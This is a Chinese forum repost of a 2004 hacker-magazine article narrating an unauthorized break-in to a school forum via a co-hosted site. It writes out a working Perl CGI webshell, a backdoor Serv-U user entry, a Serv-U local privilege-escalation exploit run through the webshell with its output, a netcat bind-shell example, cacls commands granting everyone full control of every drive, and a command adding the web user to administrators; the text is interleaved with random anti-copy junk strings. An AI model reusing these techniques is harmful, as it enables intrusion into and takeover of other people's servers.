找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1888|回复: 0
打印 上一主题 下一主题

剑走偏锋——灵巧的旁注攻击

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:11:50 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
剑走偏锋——灵巧的旁注攻击
$ n5 r" l0 \: b0 [( z/ U: y/ x本文作者:angel  ?: J- j4 B# H! z  s/ k- r+ Z
文章性质:原创
" t7 e$ I5 p$ n4 Z7 l发布日期:2004-11-09
' @, H* g" z% S注意:
  A/ @+ q( p% }' S本文的技术并不是最新的,涉及到的技术含量也不是很多,重要的是其中的渗透思路。
) v, K- |' o& P9 H7 M* A9 T本文已在《黑客X档案》11月刊发表,版权归本站及其杂志社所有。
+ f* T8 _" G! z! z  X) K! V3 V( F6 s- E9 v- A8 |/ Y0 @2 W
  终于高中毕业了,一定要在暑假努力学习,发奋学习,以前入侵少之又少,都是研究这样研究那样,实战经验太欠缺了,所以决定暑假恶补一下渗透技术,顺便又可以看看国内主机的安全性。暑假 6 月整整学习了一个月的渗透,从 xiaolu 身上学习到不少好的思路和经验。在此谢谢 xiaolu 了。
0 c7 s3 ?9 @$ S
7 I' ^% I# E4 ^* T2 U" X, {  一个多月的时间里,渗透过上百台服务器,有独立的,有虚拟主机的,有群组的,有国内和国外,我发现一个极其严重的问题,国外的服务器,普遍安全性都非常高,管理员的安全意识非常高,做个比例,如果国内平均每 10 台服务器,能渗透进去 6 台甚至更多,那国外、台湾的,平均每 10 台服务器仅仅能渗透 1 台。当然我的水平也是一个问题。可是却反映出国内的管理员的水平的的确确比国外的要差几个档次。国内的管理员的技术和意识,迫切需要大幅度提高。
$ P5 C8 N) E: y' c% x+ }8 j; C  [% D7 h) n3 g- T7 Y
  不过国内的也有比较 BT 的管理员,我就遇见几个服务器设置得非常。其中一个的 Documents and Settings 目录下还有 nsfocus 目录,难道是 nsfocus 公司帮做的安全?这个服务器我们没有拿下,还有另外一个,就是今天的重点。
( T4 J) z4 o2 B9 _0 v" x6 v0 z0 t- N, r2 m
  一次看见了一个学校论坛(http://www.school.com),还蛮火爆的,顿时兴趣来了, ping 了一下,发现 4 个包都返回 Request timed out. 估计是搞了策略或者防火墙的,象我这种以 Web 安全的,自然喜欢从站点上找漏洞,自从学习 Web 开始,我就落下一个怪癖,就是如果实在从 Web 上找不到什么漏洞,宁愿放弃也不用什么漏洞扫描器。 ) {0 M9 M7 c, x7 J
* V  i5 @2 w4 w! C- N0 E/ z" Y
  大概看了看站点。就是一个论坛,采用 LeadBBS ,拿这个论坛没辙,还有其他办法,因为刚才我访问这个 IP ,返回“No web site is configured at this address.”,初步判断是虚拟主机,前段时间那几个黑站狂黑站的成功几率为什么这么高?因为有 http://whois.webhosting.info 这个网站,可以查询一个 IP 上,绑定了多少个域名。如果真的是虚拟主机,这个学校论坛没有漏洞,不代表其他站点就没有,很快的,我就通过一个小公司站点( http://anyhost/ )上的 DVBBS 6.0 传了一个 aspshell 上去,谁知道仅仅能够对自己的目录进行操作。而且自己的目录没有执行程序的权限,又用不了 Nfso ,手工跳转 URL 中的目录,也没有多少个可以浏览的,重要的 Program Files 和 Documents and Settings 目录都看不了,从 aspshell 反馈的信息来看,每个站点都设置了单独的用户,似乎一切都陷入僵局。
+ V& D. ^. N$ ]0 j8 R6 Y6 U6 A% z
  没有目的的跳转目录着…… & @" q3 D# G, C2 n  t$ }2 I' |

% E9 W" o  E* z0 P! S3 C3 u2 W  我习惯性的在 URL 跳转到 c:\php,没想到居然可以看见了,那这个主机很可能就会支持 php 了,马上传了一个 phpspy 上去,非常幸运,顺利看到了登陆入口,可是没想到进入以后才发现,php.ini 亦设置得异常 BT,安全模式打开了, phpinfo 函数也被禁用了,看不了详细的系统信息,不过看 phpspy 自带的探针可以发现,allow_url_fopen、display_errors、 register_globals 统统关闭,system、passthru、exec、shell_exec 几个函数都无一幸免的被禁用了,直接跳转目录还是只可以看到这些目录而已,各个站点的目录都是类似于 “D:\websites\school.com#dlfjurdlkfjk” 这样的,每个站点目录后面的那些字符串都不一样,也跳转不到,后来我猜测后面的字符串就是 ftp 密码,试验了一下,无法登陆,看似柳暗花明,希望又破灭了…… / z4 \/ O+ |3 }- p6 i% {

/ G3 ~; Q& ~8 b  u8 K  结束了吗?不,我试着 FTP 一下:
/ E/ W1 e9 @* \8 \9 L: p
5 K3 w8 I% j! m( t2 t- {, u% ZMicrosoft Windows 2000 [Version 5.00.2195]
% ?: ~" V$ {& T7 |; Z! Q6 }(C) 版权所有 1985-2000 Microsoft Corp.
5 P+ z! [3 _/ I, A& t/ ]$ W: ?* }! W7 M; Y' p3 `* L" h
C:\Documents and Settings\Administrator>ftp www.school.com' e$ J. j8 ^8 A1 U% g
Connected to www. school.com. 4 l: w5 q& K  ]. q
220 Welcome to FTP Server...
4 P5 ^$ D7 p/ p- j: b. bUser (www.bjtrq.com:(none)):
0 o. U' b) w# E331 User name okay, need password. 7 z# Z3 O% u& o1 U; J* s6 b3 g
Password: 5 _8 E3 i2 A6 m1 A1 ?" X) x
530 Not logged in.
4 u2 ^; k% S* B) u! o2 MLogin failed.
, D5 d2 Y, B% Y; e% iftp> bye 5 V4 I) \8 n; E/ Y
221 Goodbye! / o7 K( t; R' @/ r/ y9 W

  m: u" E& [- b2 A& e; S: d) {& l4 O0 {" b
  从返回的信息判断,我们还是有希望的。尽管他修改了 FTP Server 的 Banner,但是从 User name okay, need password. 这句我们还是大胆的判断这个服务器就是采用 Serv-U ,我上手有目前所有版本 Serv-U 本地提升权限的 Exploit ,如果我能传一个上去,并且能够执行,一切就明朗了。再仔细想想有哪个目录可以写的?当时在 c:\php 目录下没有发现 sessiondata 目录,而且也不是自动安装版,估计管理员把 session 的目录换到其他地方了,不然这个目录是 everyone 可写的……
/ I% p. ?3 c% Y' J8 w7 b" L# T+ |( I/ R$ z& X$ O1 M
  原来我还忘记了一个最重要的目录, C:\Documents and Settings\All Users ,从这个目录可以知道很多信息,这个目录一般、至少都是 everyone 可读的,这样我们就可以知道好多有用的信息了,直接通过我的 aspshell 手工跳转到这个目录,呵呵。马上看到了想看的目录树。 4 I7 D  M1 @2 k! i1 H

4 V$ w( F7 O7 M6 ~Application Data! E" s7 \  }9 z& I
Documents
4 }/ J9 M  w+ R' r4 @DRM
; v$ v6 s( f7 V0 d/ j. z; b, MFavorites2 U% W2 [+ x9 W) W
Templates6 V- a. ~1 \* R
「开始」菜单
/ y! H: v' ^- u" k6 y$ d  F1 W; j8 C桌面
3 q$ a8 Z( G* i. g
7 T6 k2 p' {' I2 @& `1 ]
7 L" Y& j) u( N  马上试试建目录,可惜里面的目录包括子目录都无法新建, BT 管理员权限设置得还真严格,不过我们还是有收获的,那就是 “C:\Documents and Settings\All Users\ 「开始」菜单 \ 程序 \”目录里,看到了很多决定结果的有用信息, & W; G( M' u4 p

1 ?+ j: s4 F$ \, D) iActiveState ActivePerl 5.82 H" f/ w$ v5 r/ w6 ~
Administrative Tools7 e; d2 @. r1 H: S, o% K
Deerfield.com0 V6 h" _1 P. Y! {- K& d8 \
DTemp
4 ]' z/ C9 N6 {- F. ?3 fIPSentry$ q1 P% l/ s! i: Q
MBM 5) ^. M) }  {! [5 z7 P) ?) A/ P
NetMeter
, G' v, P6 R. ONetwork ICE2 z$ a& G; x( q. H
Persits Software AspEmail
- a4 o3 {8 c7 L" D) p* yPersits Software AspJpeg
$ {) A, `3 W/ r5 B' K3 E/ TServ-U FTP Server! g2 I9 \0 f* z
Symantec Client Security4 |& _# _! g6 l6 ^. K# ?: F- z
Windows 优化大师
) R9 x4 }" z8 iWinRAR, F6 R& A9 G1 Z5 n
启动7 e; K2 B) n! v0 ?( w) m
管理工具
# U# G* I8 i( q7 Y4 _4 D附件
" f5 t) Q, r* p8 c$ H8 C' U 0 K/ ^+ N4 G5 b9 I

; I+ U7 v+ P8 G# {# s) V6 i  呵呵,现在我们知道了好多有用的信息了,看着这些东西,可以看得出管理员对安全、效率很在意,装了 Perl,也就是说可能支持 cgi 了, IPSentry 这个可以实时检测网站的各类服务, 当某服务停止时, 该软件会打 Pager, 或 EMAIL,或发声,或运行其它软件来提醒管理员,确保服务器出现问题能及时处理,说明管理员比较负责任,NetMeter 可以对网络流量进行监控,装了黑冰防火墙和诺顿杀毒服务器版,说明管理员对于服务器的安全是很小心的,这还不算,还装了另外一个防火墙——VisNetic Firewall,真是 BT 到家了,装了优化大师,看得出这个管理员还是比较爱清洁的。从管理工具里面我们还看到了终端服务客户端生成器.lnk 、终端服务配置.lnk ,还有终端服务,这下好了,说不定顺利就可以多一台 3389 肉鸡了。 2 [' [3 m% [! m* m: M; ~
# ]7 L$ K; o3 v3 p( ]* q
  先通过 aspshell 下载 Serv-U 的任意一个快捷方式,然后本地查看属性的目标,呵呵,原来 Serv-U 的目录是 "C:\Program Filesewfq4qrqtgy4635\Serv-U\" ,这下好了,直接跳转目录。OH~,yes~~,看到了,马上修改 ServUDaemon.ini文件,这个服务器居然放了 280 个用户,狂晕……不管了,先在添加 [Domain1] 里加一行:
, {+ _, X9 |! n1 e7 @8 b
. d( L9 X% l' ?$ W0 K( h, [3 eUser281=angel|1|0   B/ F# q- T0 t5 w
# F1 v+ ^# ^$ L: Z. B
  l5 h+ I9 R( T7 O2 ~) R9 I
  然后加上 7 C$ b7 \# g- L, u
8 u8 h  f6 @* D8 x4 z3 `) G
[USER=angel|1]; l  q  v( O0 C% p: x8 n
Password=ng98F85379EA68DBF97BAADCA99B69B805, p: i0 U! S+ i2 l& P
HomeDir=D:\websites* G# C8 [% i$ q' x* T  E% u! `
RelPaths=1
1 d- {! N( B- G8 t9 R& W  J+ zTimeOut=600% y- W7 V4 l: l: w) o* P& e1 ~7 t
Maintenance=System
. [2 c6 M: M$ d, j+ t5 VAccess1=D:\websites|RWAMELCDP% Y# x3 y& B5 u# N' y3 S
SKEYValues=' ]9 q8 X9 m. ^

: R( {! V! q3 E' s1 l
% J5 O, P$ g3 `8 K& u+ C  添加一个 angel,密码为 111111 的用户,具有最高权限执行,然后我们就可以 ftp 上去 quote site exec xxxxxxxx 了,嘻嘻偷笑中…… 8 ~% d0 v, Y) D' w2 e

1 d' W* O, G# H0 Q# j+ H  不过残酷现实再一次粉碎了我的计划,修改好文件以后提交,居然是没有修改成功,看来还是权限,权限权限整惨人啊。
" S7 {( v4 `) r8 M
8 Q0 m# A3 M3 W% D  不过还是有希望的,因为刚才我们看到了系统装了黑冰,有些版本存在“ISS RealSecure/BlackICE 协议分析模块 SMB 解析堆溢出漏洞”,可以远程利用的,手头上没有编译器,没有办法编译代码。 , c3 x" o) [4 c* I

& e2 g% Z/ }+ i# Q  还有就是 Perl,这个是个很大的突破口,因为 Perl 目录一般要 erveryone 完全控制的,不管他用 isap 还是 perl.exe 一般都是可写、可执行的,马上下载 Perl 的快捷方式来看看路径,呵呵,看到了,原来 D:\user\bin 就是存放 perl 的 bin 目录下的所有文件,这么说这个目录可能可以写,也可能可以执行咯,马上传一个 su.exe(针对目前所有版本的 Serv-U 本地提升权限漏洞)上去,呵呵,传上去了,太好了,现在就是执行了,刚才我们试了 aspshell、phpshell 都不行,现在就看最后的希望了,找呀找啊,终于在我硬盘上找到一个 cgishell,很老了,文件日期是 2002 年 6 月 30 日的,代码如下: ! p& \: \! x" P# g

8 c& o0 K( ?' y2 x#!/usr/bin/perl" ~0 q, D: P  ^
binmode(STDOUT);$ l  s4 {/ x7 e, S
syswrite(STDOUT, "Content-type: text/html\r\n\r\n", 27);% _( e& _$ e9 m9 w* B! I
$_ = $ENV{QUERY_STRING};
7 @# M* ^: d4 X3 @: d* Us/%20/ /ig;
# ]0 v8 f  M; C9 N0 `3 \5 T* c. D! M) }s/%2f/\//ig;5 q  `4 c+ M% j! z0 L" t
$execthis = $_;
* p2 ]$ t7 ]/ B' ]3 e, fsyswrite(STDOUT, "<HTML><PRE>\r\n", 13);, ~' |( \% o; B. c, K7 X
open(STDERR, ">&STDOUT") || die "Can't redirect STDERR";  M# ~& h+ T5 \" \8 i4 R" ^% m! J  K
system($execthis);* [2 Y! d0 K3 N- J4 I
syswrite(STDOUT, "\r\n</PRE></HTML>\r\n", 17);( Q5 D( Z* g  F$ t# |
close(STDERR);8 X3 m& S% ^6 M4 s- g* y3 F
close(STDOUT);4 U7 `. ~+ k  k+ z% p: D+ }' v5 X
exit;
7 ^* f, r+ h% x1 G( T$ k 0 h8 }  I% p4 |5 ~/ C& m' Y
. S5 H, {( B3 F
  我用过最好的 cgishell ,保存为一个 cgi 文件执行,晕……居然不支持!一阵阵郁闷袭来,2 秒钟的郁闷后,想到还有一线希望,那就是pl ,我们还没有试试 pl 扩展呢,把刚才的 cgi 文件改为 pl 文件,提交 http://anyhost//cmd.pl?dir ,我的天啊!! $ J# G9 J6 s( F) p' p' U: ]

3 O# e3 s* U* t' |* B9 }  显示“拒绝访问”,终于可以执行了!太兴奋了,马上提交:
6 _  [. K* s1 o! i6 ]; k, F! _4 @7 _; u0 x
http://anyhost//cmd.pl?d:\user\bin\su.exe
( b+ j! Z& a. E" o) Y7 N 5 l! `+ N. t( y: D
3 ]3 Y) M- w, [# N, ]
  返回: $ Z" b* M6 b& k; n" m6 o

4 H6 g& J( O- B2 {- o3 l. S1 l, AServ-u >3.x Local Exploit by xiaolu 5 h% A8 w: P" {# ~
: C; Q+ B$ O5 P. i
USAGE: serv-u.exe "command" * R8 g  y; L3 ~4 {3 f

& y& ?" I9 }+ o$ z8 d! S( g2 CExample: serv-u.exe "nc.exe -l -p 99 -e cmd.exe" ! @# V) r# h1 @  G$ _8 u& n
/ t& W/ s3 x0 [0 C/ F5 K0 g

8 h' g" u& j: A" K' }( K! R  嘻嘻~~现在是 IUSR 权限,那又怎么样?看你这次还不死?提交: ( C. {, O/ `2 X0 ]
. g1 }9 v$ ]; @' p0 K4 X. M5 _: t
http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe c: /E /T /G everyone:F" " t. {) t& b" U* _- I6 b& X
2 P  T( L& X: I. x2 ]
http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe d: /E /T /G everyone:F" - I$ y) F) H  _# C6 C
2 A# `2 z. n( P: k
http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe e: /E /T /G everyone:F" + S. m  k# D9 [. t$ G7 G3 G) K. Y0 h
4 W; l( [3 `: m! P; I  A
http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe f: /E /T /G everyone:F"
: [0 x; c- u, \ , H6 k2 ^% _2 A7 K/ i! |
# p8 ?- X9 I7 D  T
  返回下面的信息,就表示成功了!!!
& }' ]9 p- L# e2 e$ s4 `) W$ f$ P0 x0 p0 Z) V
Serv-u >3.x Local Exploit by xiaolu
  H% x: ]) V, ?- [0 E5 j" j# Z' Q$ V: `( |
<220 Serv-U FTP Server v5.2 for WinSock ready... ; i8 o. u! `# O) w5 B) k( T! J) P

- [# H1 ?& d4 I- y* ~& \! O>USER LocalAdministrator
. b: i5 C: Z9 z0 k1 t$ u$ w3 w3 e& p8 O; k
<331 User name okay, need password. 0 d: I9 S. C; S3 r
  F% P1 @: v- b# o
******************************************************
3 z1 z5 I  j+ @. [, i$ w% t$ L* G1 F/ }/ d
>PASS #l@$ak#.lk;0@P $ x8 T* K! U0 U: Q* F

) |, z2 i' G8 X5 Q<230 User logged in, proceed. ' ^) c3 ]. [7 X) c: w: K3 y0 |
$ ]2 n0 ?" X5 ^1 B% O% z
****************************************************** 2 m" I* b) g0 c& l1 `5 X5 H

. j9 d7 H" x% B1 E  v>SITE MAINTENANCE
" R) B9 [! O5 s- k& g
6 M" _( e  W* t8 `7 j******************************************************
8 K8 V$ l- y7 t4 F! E* e: V
! ?( U/ a- m5 K% u3 Z' n6 q[+] Creating New Domain... " R' H0 Q  t( o( o; m3 [* ~

, Q" Q" L) b( m! ^. `<200-DomainID=2
% W4 N4 b" I5 j+ ^( x/ V5 r3 J9 }6 r0 d# n4 t
<220 Domain settings saved 9 Y2 H( p, N3 {) I) F

6 I  X8 q8 x$ Y' f****************************************************** 0 D8 }5 K6 a+ o0 j  c
, o4 F- F) N( F' k6 f
[+] Domain xl:2 Created 6 l7 Z3 d, f' S/ a6 S

, `0 q2 V' g& S. ][+] Creating Evil User
* X: c# j$ @, M  G8 k: A2 d/ s) ]; R3 z* `
<200-User=xl
2 @9 r4 W$ t0 U
9 R" W& _4 N) M: q200 User settings saved
1 i% S  \% V1 |7 C3 r3 x! D5 A3 Z$ }1 e$ N' n/ J5 K' ~
****************************************************** " k+ h/ S/ w2 w/ }! N( k) \: ^, C
" q9 O& B' v3 C  T2 f' K
[+] Now Exploiting... 5 F$ L  l- ~9 v5 d8 p% e" V
" Q0 Z$ ]2 {* P- o' ]/ C& D
>USER xl * K. x2 m( {" o* K9 Y2 I8 a
+ N' v& s+ z. r
<331 User name okay, need password. + i+ f2 ?. k' W
" b3 h. I7 O2 i! W) ^
******************************************************
" f* c% l, G# ~. s7 Z3 u9 h) j2 a
# v  s0 {8 l  X$ C>PASS 111111
7 o( Y/ T. S- T3 i1 j1 o
3 j8 J: `3 j0 E7 g/ ?( Y7 u<230 User logged in, proceed.
* J' B+ Z" w& h+ U+ B& a1 y6 k3 j0 C- B( e
******************************************************
  K$ {. t$ E9 G9 |/ o9 t& P
& `4 O$ S. j0 y3 r1 N8 j+ a8 P[+] Now Executing: cacls.exe c: /E /T /G everyone:F
8 i; C$ h( _( a" Q
0 z1 a) a4 d8 _<220 Domain deleted " Q* f6 e6 r! \; {+ K8 f
. q5 x+ A- I5 e# G
******************************************************
, _9 m) [# |9 ^ 4 \' E, |! ~" J( [4 h& U
( K& ~* K( y  ^1 \* J! M
  每提交完一次都稍微等一下,因为这些命令需要时间处理的,不一会儿,就把所有分区设置为 everyone 完全控制了,可以任意操作硬盘的东西了,但是有些命令还是受了限制,因为权限还没有提升,现在我们把自己的用户提升为管理员:
3 f3 Y9 [  R. C7 @% E& F. S5 X( i/ f  y" V* ^+ o
http://anyhost//cmd.pl?d:\user\bin\su.exe " net localgroup administrators IUSR_anyhost /add"
4 J( ?$ G! n" t) ^
4 L3 C; t! z/ V& J
3 ^  h, _# r* X2 z8 O  现在我们通过 web 方式,执行的命令就是以 administrator 的身份执行的了,相信到这里,下面的事该做什么,大家应该知道了吧?马上找到那个学校的目录,进去咯~~目的达到了,本来还想做一个 3389 的肉鸡的,想想算了,这种 BT 管理员的地盘,我也占领不了多久,留点提示到他的桌面就 over 了。 8 }2 e  R5 U8 w% V

9 `$ h8 p; n! B) G/ s  说真的,搞安全这么久,从来没有遇见这么棘手的虚拟主机,要不是装了 Perl,还真是束手无策!本文技术含量不高,只是分享一下希望其中的思路,如果有一个人从中受益,这篇文章就完成它的使命了。, A; M8 o# r, C/ K# H

- d2 r/ t" X3 p! D2 d1 J1 h  
2 o' x" W' O( f& K* r4 v% j
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表